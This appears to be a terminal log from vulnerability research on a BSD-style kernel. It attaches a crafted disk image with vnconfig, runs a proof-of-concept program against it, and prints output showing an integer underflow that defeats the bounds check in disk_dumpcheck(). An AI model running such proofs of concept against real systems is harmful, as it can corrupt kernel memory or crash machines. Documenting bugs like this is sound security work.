$ vnconfig -c /dev/vn1 /root/lbl64.img && sleep 1 && ls /dev/vn1*
/dev/vn1
/dev/vn1s1
$ ./poc2744 /dev/vn1s1
media_blocks   = 1024
reserved_blocks= 67108864
UNDERFLOW TRIGGER: disk_dumpcheck() *size = 1024 - 67108864 = 18446744073642443776  (dump bounds check defeated)